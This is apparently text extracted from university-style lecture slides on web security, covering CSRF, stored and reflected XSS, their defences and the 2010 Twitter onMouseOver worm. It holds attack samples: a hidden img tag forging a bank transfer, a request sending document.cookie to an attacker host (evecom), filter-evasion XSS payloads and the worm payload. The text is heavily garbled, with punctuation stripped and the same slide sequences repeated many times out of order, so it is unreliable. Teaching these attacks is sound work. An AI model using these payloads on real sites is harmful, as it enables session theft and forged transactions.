I But Twitter didnrsquot protect properly and for the followingtweeted URLhttptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)

I Automatically included the following linklta

href=httptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)gtltagt

30 29

CSRF

OWASP

CSRF forces a user to execute unwanted actions on a webapplication in which theyrsquore currently authenticated CSRF attackstarget state-changing requests not theft of data since the attackerhas no way to see the response to the forged request

Target user who has an account on vulnerable serverMain steps of attack

1 build an exploit URL2 trick the victim into making a request to the vulnerable server

as if intentional

Attacker tools

1 ability to get the user to rdquoclick exploit linkrdquo2 ability to have the victim visit attackerrsquos server while logged-in

to vulnerable server

Keys ingredient requests to vulnerable server have predictablestructure 18 29

CSRF a simple example

Alice wishes to transfer $100 to Bob using the bankcom webapplication This money transfer operation reduces to a requestlikeGET httpbankcomtransferdoacct=BOBampamount=100

HTTP11

The bankcom server is vulnerable to CSRF the attacker cangenerate a valid malicious request for Alice to executeThe attack comprises the following steps

1 Eve crafts the following URLhttpbankcomtransferdoacct=Eveampamount=100000

2 When Alice visits Eversquos website she tricks Alicersquos browser intoaccessing this URL

19 29

CSRF a simple example

client browser

evecom

bankcom

bankcom cookie

ltimg src=httpbankcomtransferdoacct=Eveampamount=100000 width=0 height=0 border=0gt

httpbankcomtransferdoacct=Eveampamount=100000

bankcom cookie

20 29

CSRF defenses

I Check the referrer header in the clientrsquos HTTP request canprevent CSRF attacks Ensuring that the HTTP request hascome from the original site means that attacks from othersites will not function

I Include a secret in every linkformI Can use a hidden form field custom HTTP header or encode

it directly in the URLI Must be unpredictableI Can be same value as session token (cookie)I Ruby on Rails embeds secrets in every link automatically

21 29

Twitter SMS account hijacking (Nov 2013)

22 29

Cross-site scripting (XSS)

23 29

XSS attack

OWASP

Cross-Site Scripting (XSS) attacks are a type of injection in whichmalicious scripts are injected into otherwise benign and trustedweb sites

The goal of an attacker is to slip code into the browser under theguise of conforming to the same-origin policy

I site evilcom provides a malicious script

I attacker tricks the vulnerable server (bankcom) to sendattackerrsquos script to the userrsquos browser

I victimrsquos browser believes that the scriptrsquos origin is bankcombecause it does

I malicious script runs with bankcomrsquos access privileges

XSS attacks can generally be categorized into two categoriesstored and reflected

24 29

Stored XSS attacks

I stored attacks are those where the injected script ispermanently stored on the target servers such as in adatabase in a message forum visitor log comment field etc

I the victim then retrieves the malicious script from the serverwhen it requests the stored information

client browser

evecom

bankcom

bankcom cookie

1 inject malicious script

2 request content3 receive malicious script5 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

4 execute malicious script with bankcom privileges

5 perform attacker action GET httpevecomstealc=documentcookie

25 29

Reflected XSS attacks

I reflected attacks are those where the injected script isreflected off the web server such as in an error messagesearch result or any other response that includes some or allof the input sent to the server as part of the request

I reflected attacks are delivered to victims via another routesuch as in an e-mail message or on some other web site

client browser

evecom

bankcom

bankcom cookie

3 click on link (crafted by attacker)4 ECHO USER INPUT (chosen by attacker)6 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

5 execute malicious script with bankcom privileges

1 visit evecom6 receive malicious page GET httpevecomstealc=documentcookie

26 29

Reflected XSS attacks

The key to the reflected XSS attack

Find a good web server that will echo the user input back in theHTML response

ExampleInput from evecomhttpvulnerabletoreflextedXSScomsearchphpterm=hello

Result from vulnerabletoreflextedXSScomlthtmlgt

lttitlegt

Search results

lttitlegt

ltbodygt

Results for hello

ltbodygt

lthtmlgt

27 29

XSS defenses

Escapefilter output escape dynamic data before inserting it intoHTMLlt rarr amplt gt rarr ampgt amp rarr ampamp rarr ampquot

remove any ltscriptgt ltscriptgt ltjavascriptgt ltjavascriptgt(often done on blogs)

But error prone there are a lot of ways to introduce JavaScriptltdiv style=background-image

url(javascriptalert(rsquoJavaScriptrsquo))gtltdivgt (CSS tags)ltXML ID=IgtltXgtltCgtlt[CDATA[ltIMG SRC=javas]]gt

lt[CDATA[criptalert(rsquoXSSrsquo)gt]]gt (XML-encoded data)

Input validation check that inputs (headers cookies query stringsform fields and hidden fields) are of expected form (whitelisting)

CSP server supplies a whitelist of the scripts that are allowed to appearon the page

28 29

The onMouseOver Twitter worm attack (Sept2010)

29 29

The onMouseOver Twitter worm attack (Sept2010)

I When tweeting a URL letrsquos say wwwbbccouk

I Twitter will automatically include a link to that URLlta href=wwwbbccoukgtwwwbbccoukltagt

I But Twitter didnrsquot protect properly and for the followingtweeted URLhttptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)

I Automatically included the following linklta

href=httptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)gtltagt

30 29

CSRF a simple example

Alice wishes to transfer $100 to Bob using the bankcom webapplication This money transfer operation reduces to a requestlikeGET httpbankcomtransferdoacct=BOBampamount=100

HTTP11

The bankcom server is vulnerable to CSRF the attacker cangenerate a valid malicious request for Alice to executeThe attack comprises the following steps

1 Eve crafts the following URLhttpbankcomtransferdoacct=Eveampamount=100000

2 When Alice visits Eversquos website she tricks Alicersquos browser intoaccessing this URL

19 29

CSRF a simple example

client browser

evecom

bankcom

bankcom cookie

ltimg src=httpbankcomtransferdoacct=Eveampamount=100000 width=0 height=0 border=0gt

httpbankcomtransferdoacct=Eveampamount=100000

bankcom cookie

20 29

CSRF defenses

I Check the referrer header in the clientrsquos HTTP request canprevent CSRF attacks Ensuring that the HTTP request hascome from the original site means that attacks from othersites will not function

I Include a secret in every linkformI Can use a hidden form field custom HTTP header or encode

it directly in the URLI Must be unpredictableI Can be same value as session token (cookie)I Ruby on Rails embeds secrets in every link automatically

21 29

Twitter SMS account hijacking (Nov 2013)

22 29

Cross-site scripting (XSS)

23 29

XSS attack

OWASP

Cross-Site Scripting (XSS) attacks are a type of injection in whichmalicious scripts are injected into otherwise benign and trustedweb sites

The goal of an attacker is to slip code into the browser under theguise of conforming to the same-origin policy

I site evilcom provides a malicious script

I attacker tricks the vulnerable server (bankcom) to sendattackerrsquos script to the userrsquos browser

I victimrsquos browser believes that the scriptrsquos origin is bankcombecause it does

I malicious script runs with bankcomrsquos access privileges

XSS attacks can generally be categorized into two categoriesstored and reflected

24 29

Stored XSS attacks

I stored attacks are those where the injected script ispermanently stored on the target servers such as in adatabase in a message forum visitor log comment field etc

I the victim then retrieves the malicious script from the serverwhen it requests the stored information

client browser

evecom

bankcom

bankcom cookie

1 inject malicious script

2 request content3 receive malicious script5 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

4 execute malicious script with bankcom privileges

5 perform attacker action GET httpevecomstealc=documentcookie

25 29

Reflected XSS attacks

I reflected attacks are those where the injected script isreflected off the web server such as in an error messagesearch result or any other response that includes some or allof the input sent to the server as part of the request

I reflected attacks are delivered to victims via another routesuch as in an e-mail message or on some other web site

client browser

evecom

bankcom

bankcom cookie

3 click on link (crafted by attacker)4 ECHO USER INPUT (chosen by attacker)6 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

5 execute malicious script with bankcom privileges

1 visit evecom6 receive malicious page GET httpevecomstealc=documentcookie

26 29

Reflected XSS attacks

The key to the reflected XSS attack

Find a good web server that will echo the user input back in theHTML response

ExampleInput from evecomhttpvulnerabletoreflextedXSScomsearchphpterm=hello

Result from vulnerabletoreflextedXSScomlthtmlgt

lttitlegt

Search results

lttitlegt

ltbodygt

Results for hello

ltbodygt

lthtmlgt

27 29

XSS defenses

Escapefilter output escape dynamic data before inserting it intoHTMLlt rarr amplt gt rarr ampgt amp rarr ampamp rarr ampquot

remove any ltscriptgt ltscriptgt ltjavascriptgt ltjavascriptgt(often done on blogs)

But error prone there are a lot of ways to introduce JavaScriptltdiv style=background-image

url(javascriptalert(rsquoJavaScriptrsquo))gtltdivgt (CSS tags)ltXML ID=IgtltXgtltCgtlt[CDATA[ltIMG SRC=javas]]gt

lt[CDATA[criptalert(rsquoXSSrsquo)gt]]gt (XML-encoded data)

Input validation check that inputs (headers cookies query stringsform fields and hidden fields) are of expected form (whitelisting)

CSP server supplies a whitelist of the scripts that are allowed to appearon the page

28 29

The onMouseOver Twitter worm attack (Sept2010)

29 29

The onMouseOver Twitter worm attack (Sept2010)

I When tweeting a URL letrsquos say wwwbbccouk

I Twitter will automatically include a link to that URLlta href=wwwbbccoukgtwwwbbccoukltagt

I But Twitter didnrsquot protect properly and for the followingtweeted URLhttptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)

I Automatically included the following linklta

href=httptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)gtltagt

30 29

CSRF a simple example

client browser

evecom

bankcom

bankcom cookie

ltimg src=httpbankcomtransferdoacct=Eveampamount=100000 width=0 height=0 border=0gt

httpbankcomtransferdoacct=Eveampamount=100000

bankcom cookie

20 29

CSRF defenses

I Check the referrer header in the clientrsquos HTTP request canprevent CSRF attacks Ensuring that the HTTP request hascome from the original site means that attacks from othersites will not function

I Include a secret in every linkformI Can use a hidden form field custom HTTP header or encode

it directly in the URLI Must be unpredictableI Can be same value as session token (cookie)I Ruby on Rails embeds secrets in every link automatically

21 29

Twitter SMS account hijacking (Nov 2013)

22 29

Cross-site scripting (XSS)

23 29

XSS attack

OWASP

Cross-Site Scripting (XSS) attacks are a type of injection in whichmalicious scripts are injected into otherwise benign and trustedweb sites

The goal of an attacker is to slip code into the browser under theguise of conforming to the same-origin policy

I site evilcom provides a malicious script

I attacker tricks the vulnerable server (bankcom) to sendattackerrsquos script to the userrsquos browser

I victimrsquos browser believes that the scriptrsquos origin is bankcombecause it does

I malicious script runs with bankcomrsquos access privileges

XSS attacks can generally be categorized into two categoriesstored and reflected

24 29

Stored XSS attacks

I stored attacks are those where the injected script ispermanently stored on the target servers such as in adatabase in a message forum visitor log comment field etc

I the victim then retrieves the malicious script from the serverwhen it requests the stored information

client browser

evecom

bankcom

bankcom cookie

1 inject malicious script

2 request content3 receive malicious script5 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

4 execute malicious script with bankcom privileges

5 perform attacker action GET httpevecomstealc=documentcookie

25 29

Reflected XSS attacks

I reflected attacks are those where the injected script isreflected off the web server such as in an error messagesearch result or any other response that includes some or allof the input sent to the server as part of the request

I reflected attacks are delivered to victims via another routesuch as in an e-mail message or on some other web site

client browser

evecom

bankcom

bankcom cookie

3 click on link (crafted by attacker)4 ECHO USER INPUT (chosen by attacker)6 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

5 execute malicious script with bankcom privileges

1 visit evecom6 receive malicious page GET httpevecomstealc=documentcookie

26 29

Reflected XSS attacks

The key to the reflected XSS attack

Find a good web server that will echo the user input back in theHTML response

ExampleInput from evecomhttpvulnerabletoreflextedXSScomsearchphpterm=hello

Result from vulnerabletoreflextedXSScomlthtmlgt

lttitlegt

Search results

lttitlegt

ltbodygt

Results for hello

ltbodygt

lthtmlgt

27 29

XSS defenses

Escapefilter output escape dynamic data before inserting it intoHTMLlt rarr amplt gt rarr ampgt amp rarr ampamp rarr ampquot

remove any ltscriptgt ltscriptgt ltjavascriptgt ltjavascriptgt(often done on blogs)

But error prone there are a lot of ways to introduce JavaScriptltdiv style=background-image

url(javascriptalert(rsquoJavaScriptrsquo))gtltdivgt (CSS tags)ltXML ID=IgtltXgtltCgtlt[CDATA[ltIMG SRC=javas]]gt

lt[CDATA[criptalert(rsquoXSSrsquo)gt]]gt (XML-encoded data)

Input validation check that inputs (headers cookies query stringsform fields and hidden fields) are of expected form (whitelisting)

CSP server supplies a whitelist of the scripts that are allowed to appearon the page

28 29

The onMouseOver Twitter worm attack (Sept2010)

29 29

The onMouseOver Twitter worm attack (Sept2010)

I When tweeting a URL letrsquos say wwwbbccouk

I Twitter will automatically include a link to that URLlta href=wwwbbccoukgtwwwbbccoukltagt

I But Twitter didnrsquot protect properly and for the followingtweeted URLhttptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)

I Automatically included the following linklta

href=httptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)gtltagt

30 29

CSRF defenses

I Check the referrer header in the clientrsquos HTTP request canprevent CSRF attacks Ensuring that the HTTP request hascome from the original site means that attacks from othersites will not function

I Include a secret in every linkformI Can use a hidden form field custom HTTP header or encode

it directly in the URLI Must be unpredictableI Can be same value as session token (cookie)I Ruby on Rails embeds secrets in every link automatically

21 29

Twitter SMS account hijacking (Nov 2013)

22 29

Cross-site scripting (XSS)

23 29

XSS attack

OWASP

Cross-Site Scripting (XSS) attacks are a type of injection in whichmalicious scripts are injected into otherwise benign and trustedweb sites

The goal of an attacker is to slip code into the browser under theguise of conforming to the same-origin policy

I site evilcom provides a malicious script

I attacker tricks the vulnerable server (bankcom) to sendattackerrsquos script to the userrsquos browser

I victimrsquos browser believes that the scriptrsquos origin is bankcombecause it does

I malicious script runs with bankcomrsquos access privileges

XSS attacks can generally be categorized into two categoriesstored and reflected

24 29

Stored XSS attacks

I stored attacks are those where the injected script ispermanently stored on the target servers such as in adatabase in a message forum visitor log comment field etc

I the victim then retrieves the malicious script from the serverwhen it requests the stored information

client browser

evecom

bankcom

bankcom cookie

1 inject malicious script

2 request content3 receive malicious script5 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

4 execute malicious script with bankcom privileges

5 perform attacker action GET httpevecomstealc=documentcookie

25 29

Reflected XSS attacks

I reflected attacks are those where the injected script isreflected off the web server such as in an error messagesearch result or any other response that includes some or allof the input sent to the server as part of the request

I reflected attacks are delivered to victims via another routesuch as in an e-mail message or on some other web site

client browser

evecom

bankcom

bankcom cookie

3 click on link (crafted by attacker)4 ECHO USER INPUT (chosen by attacker)6 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

5 execute malicious script with bankcom privileges

1 visit evecom6 receive malicious page GET httpevecomstealc=documentcookie

26 29

Reflected XSS attacks

The key to the reflected XSS attack

Find a good web server that will echo the user input back in theHTML response

ExampleInput from evecomhttpvulnerabletoreflextedXSScomsearchphpterm=hello

Result from vulnerabletoreflextedXSScomlthtmlgt

lttitlegt

Search results

lttitlegt

ltbodygt

Results for hello

ltbodygt

lthtmlgt

27 29

XSS defenses

Escapefilter output escape dynamic data before inserting it intoHTMLlt rarr amplt gt rarr ampgt amp rarr ampamp rarr ampquot

remove any ltscriptgt ltscriptgt ltjavascriptgt ltjavascriptgt(often done on blogs)

But error prone there are a lot of ways to introduce JavaScriptltdiv style=background-image

url(javascriptalert(rsquoJavaScriptrsquo))gtltdivgt (CSS tags)ltXML ID=IgtltXgtltCgtlt[CDATA[ltIMG SRC=javas]]gt

lt[CDATA[criptalert(rsquoXSSrsquo)gt]]gt (XML-encoded data)

Input validation check that inputs (headers cookies query stringsform fields and hidden fields) are of expected form (whitelisting)

CSP server supplies a whitelist of the scripts that are allowed to appearon the page

28 29

The onMouseOver Twitter worm attack (Sept2010)

29 29

The onMouseOver Twitter worm attack (Sept2010)

I When tweeting a URL letrsquos say wwwbbccouk

I Twitter will automatically include a link to that URLlta href=wwwbbccoukgtwwwbbccoukltagt

I But Twitter didnrsquot protect properly and for the followingtweeted URLhttptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)

I Automatically included the following linklta

href=httptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)gtltagt

30 29

Twitter SMS account hijacking (Nov 2013)

22 29

Cross-site scripting (XSS)

23 29

XSS attack

OWASP

Cross-Site Scripting (XSS) attacks are a type of injection in whichmalicious scripts are injected into otherwise benign and trustedweb sites

The goal of an attacker is to slip code into the browser under theguise of conforming to the same-origin policy

I site evilcom provides a malicious script

I attacker tricks the vulnerable server (bankcom) to sendattackerrsquos script to the userrsquos browser

I victimrsquos browser believes that the scriptrsquos origin is bankcombecause it does

I malicious script runs with bankcomrsquos access privileges

XSS attacks can generally be categorized into two categoriesstored and reflected

24 29

Stored XSS attacks

I stored attacks are those where the injected script ispermanently stored on the target servers such as in adatabase in a message forum visitor log comment field etc

I the victim then retrieves the malicious script from the serverwhen it requests the stored information

client browser

evecom

bankcom

bankcom cookie

1 inject malicious script

2 request content3 receive malicious script5 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

4 execute malicious script with bankcom privileges

5 perform attacker action GET httpevecomstealc=documentcookie

25 29

Reflected XSS attacks

I reflected attacks are those where the injected script isreflected off the web server such as in an error messagesearch result or any other response that includes some or allof the input sent to the server as part of the request

I reflected attacks are delivered to victims via another routesuch as in an e-mail message or on some other web site

client browser

evecom

bankcom

bankcom cookie

3 click on link (crafted by attacker)4 ECHO USER INPUT (chosen by attacker)6 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

5 execute malicious script with bankcom privileges

1 visit evecom6 receive malicious page GET httpevecomstealc=documentcookie

26 29

Reflected XSS attacks

The key to the reflected XSS attack

Find a good web server that will echo the user input back in theHTML response

ExampleInput from evecomhttpvulnerabletoreflextedXSScomsearchphpterm=hello

Result from vulnerabletoreflextedXSScomlthtmlgt

lttitlegt

Search results

lttitlegt

ltbodygt

Results for hello

ltbodygt

lthtmlgt

27 29

XSS defenses

Escapefilter output escape dynamic data before inserting it intoHTMLlt rarr amplt gt rarr ampgt amp rarr ampamp rarr ampquot

remove any ltscriptgt ltscriptgt ltjavascriptgt ltjavascriptgt(often done on blogs)

But error prone there are a lot of ways to introduce JavaScriptltdiv style=background-image

url(javascriptalert(rsquoJavaScriptrsquo))gtltdivgt (CSS tags)ltXML ID=IgtltXgtltCgtlt[CDATA[ltIMG SRC=javas]]gt

lt[CDATA[criptalert(rsquoXSSrsquo)gt]]gt (XML-encoded data)

Input validation check that inputs (headers cookies query stringsform fields and hidden fields) are of expected form (whitelisting)

CSP server supplies a whitelist of the scripts that are allowed to appearon the page

28 29

The onMouseOver Twitter worm attack (Sept2010)

29 29

The onMouseOver Twitter worm attack (Sept2010)

I When tweeting a URL letrsquos say wwwbbccouk

I Twitter will automatically include a link to that URLlta href=wwwbbccoukgtwwwbbccoukltagt

I But Twitter didnrsquot protect properly and for the followingtweeted URLhttptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)

I Automatically included the following linklta

href=httptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)gtltagt

30 29

Cross-site scripting (XSS)

23 29

XSS attack

OWASP

Cross-Site Scripting (XSS) attacks are a type of injection in whichmalicious scripts are injected into otherwise benign and trustedweb sites

The goal of an attacker is to slip code into the browser under theguise of conforming to the same-origin policy

I site evilcom provides a malicious script

I attacker tricks the vulnerable server (bankcom) to sendattackerrsquos script to the userrsquos browser

I victimrsquos browser believes that the scriptrsquos origin is bankcombecause it does

I malicious script runs with bankcomrsquos access privileges

XSS attacks can generally be categorized into two categoriesstored and reflected

24 29

Stored XSS attacks

I stored attacks are those where the injected script ispermanently stored on the target servers such as in adatabase in a message forum visitor log comment field etc

I the victim then retrieves the malicious script from the serverwhen it requests the stored information

client browser

evecom

bankcom

bankcom cookie

1 inject malicious script

2 request content3 receive malicious script5 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

4 execute malicious script with bankcom privileges

5 perform attacker action GET httpevecomstealc=documentcookie

25 29

Reflected XSS attacks

I reflected attacks are those where the injected script isreflected off the web server such as in an error messagesearch result or any other response that includes some or allof the input sent to the server as part of the request

I reflected attacks are delivered to victims via another routesuch as in an e-mail message or on some other web site

client browser

evecom

bankcom

bankcom cookie

3 click on link (crafted by attacker)4 ECHO USER INPUT (chosen by attacker)6 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

5 execute malicious script with bankcom privileges

1 visit evecom6 receive malicious page GET httpevecomstealc=documentcookie

26 29

Reflected XSS attacks

The key to the reflected XSS attack

Find a good web server that will echo the user input back in theHTML response

ExampleInput from evecomhttpvulnerabletoreflextedXSScomsearchphpterm=hello

Result from vulnerabletoreflextedXSScomlthtmlgt

lttitlegt

Search results

lttitlegt

ltbodygt

Results for hello

ltbodygt

lthtmlgt

27 29

XSS defenses

Escapefilter output escape dynamic data before inserting it intoHTMLlt rarr amplt gt rarr ampgt amp rarr ampamp rarr ampquot

remove any ltscriptgt ltscriptgt ltjavascriptgt ltjavascriptgt(often done on blogs)

But error prone there are a lot of ways to introduce JavaScriptltdiv style=background-image

url(javascriptalert(rsquoJavaScriptrsquo))gtltdivgt (CSS tags)ltXML ID=IgtltXgtltCgtlt[CDATA[ltIMG SRC=javas]]gt

lt[CDATA[criptalert(rsquoXSSrsquo)gt]]gt (XML-encoded data)

Input validation check that inputs (headers cookies query stringsform fields and hidden fields) are of expected form (whitelisting)

CSP server supplies a whitelist of the scripts that are allowed to appearon the page

28 29

The onMouseOver Twitter worm attack (Sept2010)

29 29

The onMouseOver Twitter worm attack (Sept2010)

I When tweeting a URL letrsquos say wwwbbccouk

I Twitter will automatically include a link to that URLlta href=wwwbbccoukgtwwwbbccoukltagt

I But Twitter didnrsquot protect properly and for the followingtweeted URLhttptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)

I Automatically included the following linklta

href=httptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)gtltagt

30 29

XSS attack

OWASP

Cross-Site Scripting (XSS) attacks are a type of injection in whichmalicious scripts are injected into otherwise benign and trustedweb sites

The goal of an attacker is to slip code into the browser under theguise of conforming to the same-origin policy

I site evilcom provides a malicious script

I attacker tricks the vulnerable server (bankcom) to sendattackerrsquos script to the userrsquos browser

I victimrsquos browser believes that the scriptrsquos origin is bankcombecause it does

I malicious script runs with bankcomrsquos access privileges

XSS attacks can generally be categorized into two categoriesstored and reflected

24 29

Stored XSS attacks

I stored attacks are those where the injected script ispermanently stored on the target servers such as in adatabase in a message forum visitor log comment field etc

I the victim then retrieves the malicious script from the serverwhen it requests the stored information

client browser

evecom

bankcom

bankcom cookie

1 inject malicious script

2 request content3 receive malicious script5 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

4 execute malicious script with bankcom privileges

5 perform attacker action GET httpevecomstealc=documentcookie

25 29

Reflected XSS attacks

I reflected attacks are those where the injected script isreflected off the web server such as in an error messagesearch result or any other response that includes some or allof the input sent to the server as part of the request

I reflected attacks are delivered to victims via another routesuch as in an e-mail message or on some other web site

client browser

evecom

bankcom

bankcom cookie

3 click on link (crafted by attacker)4 ECHO USER INPUT (chosen by attacker)6 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

5 execute malicious script with bankcom privileges

1 visit evecom6 receive malicious page GET httpevecomstealc=documentcookie

26 29

Reflected XSS attacks

The key to the reflected XSS attack

Find a good web server that will echo the user input back in theHTML response

ExampleInput from evecomhttpvulnerabletoreflextedXSScomsearchphpterm=hello

Result from vulnerabletoreflextedXSScomlthtmlgt

lttitlegt

Search results

lttitlegt

ltbodygt

Results for hello

ltbodygt

lthtmlgt

27 29

XSS defenses

Escapefilter output escape dynamic data before inserting it intoHTMLlt rarr amplt gt rarr ampgt amp rarr ampamp rarr ampquot

remove any ltscriptgt ltscriptgt ltjavascriptgt ltjavascriptgt(often done on blogs)

But error prone there are a lot of ways to introduce JavaScriptltdiv style=background-image

url(javascriptalert(rsquoJavaScriptrsquo))gtltdivgt (CSS tags)ltXML ID=IgtltXgtltCgtlt[CDATA[ltIMG SRC=javas]]gt

lt[CDATA[criptalert(rsquoXSSrsquo)gt]]gt (XML-encoded data)

Input validation check that inputs (headers cookies query stringsform fields and hidden fields) are of expected form (whitelisting)

CSP server supplies a whitelist of the scripts that are allowed to appearon the page

28 29

The onMouseOver Twitter worm attack (Sept2010)

29 29

The onMouseOver Twitter worm attack (Sept2010)

I When tweeting a URL letrsquos say wwwbbccouk

I Twitter will automatically include a link to that URLlta href=wwwbbccoukgtwwwbbccoukltagt

I But Twitter didnrsquot protect properly and for the followingtweeted URLhttptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)

I Automatically included the following linklta

href=httptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)gtltagt

30 29

Stored XSS attacks

I stored attacks are those where the injected script ispermanently stored on the target servers such as in adatabase in a message forum visitor log comment field etc

I the victim then retrieves the malicious script from the serverwhen it requests the stored information

client browser

evecom

bankcom

bankcom cookie

1 inject malicious script

2 request content3 receive malicious script5 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

4 execute malicious script with bankcom privileges

5 perform attacker action GET httpevecomstealc=documentcookie

25 29

Reflected XSS attacks

I reflected attacks are those where the injected script isreflected off the web server such as in an error messagesearch result or any other response that includes some or allof the input sent to the server as part of the request

I reflected attacks are delivered to victims via another routesuch as in an e-mail message or on some other web site

client browser

evecom

bankcom

bankcom cookie

3 click on link (crafted by attacker)4 ECHO USER INPUT (chosen by attacker)6 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

5 execute malicious script with bankcom privileges

1 visit evecom6 receive malicious page GET httpevecomstealc=documentcookie

26 29

Reflected XSS attacks

The key to the reflected XSS attack

Find a good web server that will echo the user input back in theHTML response

ExampleInput from evecomhttpvulnerabletoreflextedXSScomsearchphpterm=hello

Result from vulnerabletoreflextedXSScomlthtmlgt

lttitlegt

Search results

lttitlegt

ltbodygt

Results for hello

ltbodygt

lthtmlgt

27 29

XSS defenses

Escapefilter output escape dynamic data before inserting it intoHTMLlt rarr amplt gt rarr ampgt amp rarr ampamp rarr ampquot

remove any ltscriptgt ltscriptgt ltjavascriptgt ltjavascriptgt(often done on blogs)

But error prone there are a lot of ways to introduce JavaScriptltdiv style=background-image

url(javascriptalert(rsquoJavaScriptrsquo))gtltdivgt (CSS tags)ltXML ID=IgtltXgtltCgtlt[CDATA[ltIMG SRC=javas]]gt

lt[CDATA[criptalert(rsquoXSSrsquo)gt]]gt (XML-encoded data)

Input validation check that inputs (headers cookies query stringsform fields and hidden fields) are of expected form (whitelisting)

CSP server supplies a whitelist of the scripts that are allowed to appearon the page

28 29

The onMouseOver Twitter worm attack (Sept2010)

29 29

The onMouseOver Twitter worm attack (Sept2010)

I When tweeting a URL letrsquos say wwwbbccouk

I Twitter will automatically include a link to that URLlta href=wwwbbccoukgtwwwbbccoukltagt

I But Twitter didnrsquot protect properly and for the followingtweeted URLhttptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)

I Automatically included the following linklta

href=httptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)gtltagt

30 29

Reflected XSS attacks

I reflected attacks are those where the injected script isreflected off the web server such as in an error messagesearch result or any other response that includes some or allof the input sent to the server as part of the request

I reflected attacks are delivered to victims via another routesuch as in an e-mail message or on some other web site

client browser

evecom

bankcom

bankcom cookie

3 click on link (crafted by attacker)4 ECHO USER INPUT (chosen by attacker)6 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

5 execute malicious script with bankcom privileges

1 visit evecom6 receive malicious page GET httpevecomstealc=documentcookie

26 29

Reflected XSS attacks

The key to the reflected XSS attack

Find a good web server that will echo the user input back in theHTML response

ExampleInput from evecomhttpvulnerabletoreflextedXSScomsearchphpterm=hello

Result from vulnerabletoreflextedXSScomlthtmlgt

lttitlegt

Search results

lttitlegt

ltbodygt

Results for hello

ltbodygt

lthtmlgt

27 29

XSS defenses

Escapefilter output escape dynamic data before inserting it intoHTMLlt rarr amplt gt rarr ampgt amp rarr ampamp rarr ampquot

remove any ltscriptgt ltscriptgt ltjavascriptgt ltjavascriptgt(often done on blogs)

But error prone there are a lot of ways to introduce JavaScriptltdiv style=background-image

url(javascriptalert(rsquoJavaScriptrsquo))gtltdivgt (CSS tags)ltXML ID=IgtltXgtltCgtlt[CDATA[ltIMG SRC=javas]]gt

lt[CDATA[criptalert(rsquoXSSrsquo)gt]]gt (XML-encoded data)

Input validation check that inputs (headers cookies query stringsform fields and hidden fields) are of expected form (whitelisting)

CSP server supplies a whitelist of the scripts that are allowed to appearon the page

28 29

The onMouseOver Twitter worm attack (Sept2010)

29 29

The onMouseOver Twitter worm attack (Sept2010)

I When tweeting a URL letrsquos say wwwbbccouk

I Twitter will automatically include a link to that URLlta href=wwwbbccoukgtwwwbbccoukltagt

I But Twitter didnrsquot protect properly and for the followingtweeted URLhttptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)

I Automatically included the following linklta

href=httptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)gtltagt

30 29

Reflected XSS attacks

The key to the reflected XSS attack

Find a good web server that will echo the user input back in theHTML response

ExampleInput from evecomhttpvulnerabletoreflextedXSScomsearchphpterm=hello

Result from vulnerabletoreflextedXSScomlthtmlgt

lttitlegt

Search results

lttitlegt

ltbodygt

Results for hello

ltbodygt

lthtmlgt

27 29

XSS defenses

Escapefilter output escape dynamic data before inserting it intoHTMLlt rarr amplt gt rarr ampgt amp rarr ampamp rarr ampquot

remove any ltscriptgt ltscriptgt ltjavascriptgt ltjavascriptgt(often done on blogs)

But error prone there are a lot of ways to introduce JavaScriptltdiv style=background-image

url(javascriptalert(rsquoJavaScriptrsquo))gtltdivgt (CSS tags)ltXML ID=IgtltXgtltCgtlt[CDATA[ltIMG SRC=javas]]gt

lt[CDATA[criptalert(rsquoXSSrsquo)gt]]gt (XML-encoded data)

Input validation check that inputs (headers cookies query stringsform fields and hidden fields) are of expected form (whitelisting)

CSP server supplies a whitelist of the scripts that are allowed to appearon the page

28 29

The onMouseOver Twitter worm attack (Sept2010)

29 29

The onMouseOver Twitter worm attack (Sept2010)

I When tweeting a URL letrsquos say wwwbbccouk

I Twitter will automatically include a link to that URLlta href=wwwbbccoukgtwwwbbccoukltagt

I But Twitter didnrsquot protect properly and for the followingtweeted URLhttptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)

I Automatically included the following linklta

href=httptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)gtltagt

30 29

XSS defenses

Escapefilter output escape dynamic data before inserting it intoHTMLlt rarr amplt gt rarr ampgt amp rarr ampamp rarr ampquot

